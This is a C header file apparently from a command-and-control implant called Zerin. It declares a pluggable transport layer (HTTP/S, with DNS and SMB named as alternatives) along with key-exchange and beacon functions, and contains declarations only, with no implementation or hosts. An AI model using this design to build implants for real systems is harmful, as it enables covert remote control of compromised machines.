#ifndef ZERIN_TRANSPORT_H #define ZERIN_TRANSPORT_H #include #include // Transport interface — function pointers allow swapping HTTP/DNS/SMB/etc. typedef struct transport transport_t; typedef int (*transport_init_fn)(transport_t *t, const char *url, const char *user_agent); typedef int (*transport_send_fn)(transport_t *t, const char *endpoint, const uint8_t *data, size_t data_len, uint8_t **response, size_t *response_len); typedef void (*transport_cleanup_fn)(transport_t *t); struct transport { transport_init_fn init; transport_send_fn send; transport_cleanup_fn cleanup; void *ctx; // Implementation-specific context }; // HTTP/S transport implementation extern transport_t transport_https; int http_init(transport_t *t, const char *url, const char *user_agent); int http_send(transport_t *t, const char *endpoint, const uint8_t *data, size_t data_len, uint8_t **response, size_t *response_len); void http_cleanup(transport_t *t); // High-level transport functions used by beacon int transport_do_key_exchange(transport_t *t, const char *base_url, const uint8_t *kx_data, size_t kx_len, uint8_t **response, size_t *response_len); int transport_do_beacon(transport_t *t, const char *base_url, const uint8_t *beacon_data, size_t beacon_len, uint8_t **response, size_t *response_len); #endif // ZERIN_TRANSPORT_H